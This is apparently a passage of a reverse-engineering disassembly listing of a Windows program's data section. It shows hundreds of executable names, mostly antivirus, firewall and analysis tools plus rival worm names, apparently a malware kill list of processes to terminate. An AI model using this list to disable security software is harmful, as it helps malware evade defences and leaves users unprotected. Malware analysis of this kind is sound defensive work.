aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:0043B7E8o
align 4
aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:0043B7ECo
align 4
aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:0043B7F0o
align 4
aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:0043B7F4o
align 10h
aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:0043B7F8o
align 10h
aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:0043B7FCo
aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:0043B800o
align 4
aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:0043B804o
align 4
aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:0043B808o
align 4
aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:0043B80Co
align 4
aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:0043B810o
align 4
aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:0043B814o
align 10h
aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:0043B818o
aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:0043B81Co
align 4
aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:0043B820o
aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:0043B824o
align 10h
aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:0043B828o
align 4
aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:0043B82Co
align 4
aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:0043B830o
aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:0043B834o
align 10h
aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:0043B838o
align 10h
aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:0043B83Co
aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:0043B840o
align 10h
aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:0043B844o
align 4
aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:0043B848o
aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:0043B84Co
align 4
aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:0043B850o
align 4
aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:0043B854o
align 4
aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:0043B858o
aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:0043B85Co
align 4
aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:0043B860o
aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:0043B864o
align 10h
aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:0043B868o
align 4
aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:0043B86Co
align 4
aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:0043B870o
aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:0043B874o
align 4
aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:0043B878o
align 4
aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:0043B87Co
align 4
aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:0043B880o
align 4
aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:0043B884o
align 4
aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:0043B888o
align 4
aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:0043B88Co
align 4
aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:0043B890o
align 4
aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:0043B894o
aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:0043B898o
align 10h
aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:0043B89Co
align 10h
aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:0043B8A0o
align 4
aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:0043B8A4o
align 4
aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:0043B8A8o
align 4
aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:0043B8ACo
align 4
aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:0043B8B0o
aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0043B8B4o
align 4
aNupgrade_exe_0 db 'NUPGRADE.EXE',0 ; DATA XREF: .data:0043B8B8o
align 4
aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:0043B8BCo
align 4
aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:0043B8C0o
align 4
aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:0043B8C4o
aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:0043B8C8o
aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:0043B8CCo
align 10h
aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:0043B8D0o
align 10h
aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:0043B8D4o
aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:0043B8D8o
align 4
aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:0043B8DCo
align 4
aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:0043B8E0o
align 4
aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:0043B8E4o
align 4
aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:0043B8E8o
aOutpost_exe_0 db 'OUTPOST.EXE',0 ; DATA XREF: .data:0043B8ECo
aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:0043B8F0o
align 10h
aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:0043B8F4o
align 4
aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:0043B8F8o
align 4
aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:0043B8FCo
align 10h
aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:0043B900o
align 4
aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:0043B904o
align 4
aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:0043B908o
align 4
aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:0043B90Co
align 4
aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:0043B910o
align 4
aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:0043B914o
aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:0043B918o
align 4
aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:0043B91Co
align 4
aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:0043B920o
align 4
aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:0043B924o
align 4
aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:0043B928o
align 4
aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:0043B92Co
align 4
aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:0043B930o
aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:0043B934o
aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:0043B938o
align 4
aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:0043B93Co
aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:0043B940o
align 4
aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:0043B944o
align 4
aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:0043B948o
align 4
aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:0043B94Co
align 4
aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:0043B950o
aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:0043B954o
align 4
aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:0043B958o
align 4
aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:0043B95Co
align 4
aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:0043B960o
align 4
aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:0043B964o
align 4
aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:0043B968o
aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:0043B96Co
aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:0043B970o
align 4
aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:0043B974o
aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:0043B978o
align 4
aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:0043B97Co
align 4
aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:0043B980o
align 10h
aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:0043B984o
aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:0043B988o
aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:0043B98Co
align 4
aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:0043B990o
align 4
aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:0043B994o
align 4
aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:0043B998o
align 4
aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:0043B99Co
align 10h
aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:0043B9A0o
align 4
aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:0043B9A4o
aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:0043B9A8o
align 10h
aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:0043B9ACo
align 4
aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:0043B9B0o
align 4
aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:0043B9B4o
align 4
aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:0043B9B8o
aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:0043B9BCo
align 10h
aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:0043B9C0o
aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:0043B9C4o
align 4
aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:0043B9C8o
align 4
aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:0043B9CCo
aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:0043B9D0o
align 4
aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:0043B9D4o
aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:0043B9D8o
align 4
aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:0043B9DCo
align 4
aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:0043B9E0o
aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:0043B9E4o
align 4
aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:0043B9E8o
aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:0043B9ECo
align 4
aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:0043B9F0o
align 4
aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:0043B9F4o
align 4
aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:0043B9F8o
aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:0043B9FCo
align 4
aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:0043BA00o
aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:0043BA04o
align 4
aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:0043BA08o
align 4
aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:0043BA0Co
align 4
aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:0043BA10o
align 4
aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:0043BA14o
align 4
aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:0043BA18o
align 4
aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:0043BA1Co
aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:0043BA20o
align 10h
aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:0043BA24o
align 4
aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .data:0043BA28o
aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:0043BA2Co
align 4
aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:0043BA30o
align 4
aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:0043BA34o
align 4
aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:0043BA38o
align 4
aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:0043BA3Co
align 10h
aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:0043BA40o
align 4
aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:0043BA44o
aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:0043BA48o
align 4
aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:0043BA4Co
aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:0043BA50o
align 4
aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:0043BA54o
align 4
aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:0043BA58o
aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:0043BA5Co
aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:0043BA60o
align 4
aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0043BA64o
align 10h
aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:0043BA68o
align 4
aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:0043BA6Co
aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:0043BA70o
align 4
aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:0043BA74o
align 4
aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:0043BA78o
aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:0043BA7Co
aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:0043BA80o
align 4
aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:0043BA84o
aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:0043BA88o
aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:0043BA8Co
align 4
aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:0043BA90o
align 10h
aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:0043BA94o
align 4
aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:0043BA98o
align 4
aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:0043BA9Co
aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:0043BAA0o
align 4
aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:0043BAA4o
align 4
aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:0043BAA8o
aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:0043BAACo
align 4
aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:0043BAB0o
align 10h
aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:0043BAB4o
align 4
aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:0043BAB8o
align 4
aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:0043BABCo
aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:0043BAC0o
aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:0043BAC4o
align 10h
aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:0043BAC8o
aStart_exe db 'START.EXE',0 ; DATA XREF: .data:0043BACCo
align 4
aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:0043BAD0o
align 4
aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:0043BAD4o
aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:0043BAD8o
aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:0043BADCo
align 4
aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:0043BAE0o
aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:0043BAE4o
align 4
aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:0043BAE8o
align 4
aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:0043BAECo
aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:0043BAF0o
aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:0043BAF4o
align 10h
aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:0043BAF8o
aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:0043BAFCo
aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:0043BB00o
aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:0043BB04o
align 4
aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:0043BB08o
align 4
aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:0043BB0Co
align 10h
aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:0043BB10o
align 4
aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:0043BB14o
align 4
aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:0043BB18o
aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:0043BB1Co
align 10h
aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:0043BB20o
align 4
aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:0043BB24o
align 4
aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:0043BB28o
aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:0043BB2Co
aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:0043BB30o
align 10h
aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:0043BB34o
aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:0043BB38o
aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:0043BB3Co
aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:0043BB40o
align 10h
aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:0043BB44o
align 4
aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:0043BB48o
align 4
aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:0043BB4Co
aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:0043BB50o
align 4
aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:0043BB54o
aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:0043BB58o
align 10h
aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:0043BB5Co
aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:0043BB60o
align 4
aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:0043BB64o
aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:0043BB68o
aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:0043BB6Co
align 4
aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:0043BB70o
align 10h
aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:0043BB74o
align 10h
aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:0043BB78o
align 4
aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:0043BB7Co
align 4
aUpdate_exe_0 db 'UPDATE.EXE',0 ; DATA XREF: .data:0043BB80o
align 4
aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:0043BB84o
align 10h
aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:0043BB88o
align 4
aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:0043BB8Co
align 4
aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:0043BB90o
align 4
aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:0043BB94o
align 4
aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:0043BB98o
aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:0043BB9Co
align 10h
aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:0043BBA0o
aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:0043BBA4o
align 4
aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:0043BBA8o
align 4
aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:0043BBACo
aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:0043BBB0o
aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:0043BBB4o
align 4
aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:0043BBB8o
aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:0043BBBCo
align 4
aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:0043BBC0o
align 4
aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:0043BBC4o
align 4
aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:0043BBC8o
align 10h
aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:0043BBCCo
aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:0043BBD0o
align 4
aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:0043BBD4o
aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:0043BBD8o
align 4
aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:0043BBDCo
align 4
aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:0043BBE0o
aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:0043BBE4o
align 10h
aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:0043BBE8o
align 10h
aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:0043BBECo
align 4
aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:0043BBF0o
align 4
aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:0043BBF4o
align 4
aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:0043BBF8o
align 4
aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:0043BBFCo
align 4
aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:0043BC00o
align 4
aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:0043BC04o
align 4
aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:0043BC08o
aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:0043BC0Co
align 4
aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:0043BC10o
align 4
aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:0043BC14o
align 4
aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:0043BC18o
aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:0043BC1Co
align 4
aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:0043BC20o
align 10h
aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:0043BC24o
align 4
aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:0043BC28o
align 4
aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:0043BC2Co
aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:0043BC30o
align 10h
aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:0043BC34o
aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:0043BC38o
align 4
aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:0043BC3Co
align 4
aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:0043BC40o
aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:0043BC44o
align 4
aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:0043BC48o
aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .data:0043BC4Co
align 10h
aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:0043BC50o
align 10h
aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .data:0043BC54o
aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:0043BC58o
align 4
aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:0043BC5Co
align 4
aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:0043BC60o
align 4
aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:0043BC64o
align 4
aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:0043BC68o
align 4
aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:0043BC6Co
align 4
aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:0043BC70o
aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:0043BC74o
align 4
aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:0043BC78o
align 4
aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:0043BC7Co
aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:0043BC80o
align 10h
aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:0043BC84o
aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:0043BC88o
aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:0043BC8Co
align 10h
aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:0043BC90o
aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:0043BC94o
align 4
aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:0043BC98o
align 4
aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:0043BC9Co
aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:0043BCA0o
align 10h
aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:0043BCA4o
align 4
aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:0043BCA8o
align 10h
aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:0043BCACo
aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:0043BCB0o
align 4
aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:0043BCB4o
align 4
a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:0043BCB8o
align 4
a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .data:0043BCBCo
align 4
a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:0043BCC0o
align 10h
aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:0043BCC4o
align 10h
aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:0043BCC8o
align 10h
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0043BCCCo
align 4
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0043BCD0o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0043BCD4o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0043BCD8o
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0043BCDCo
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0043BCE0o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0043BCE4o
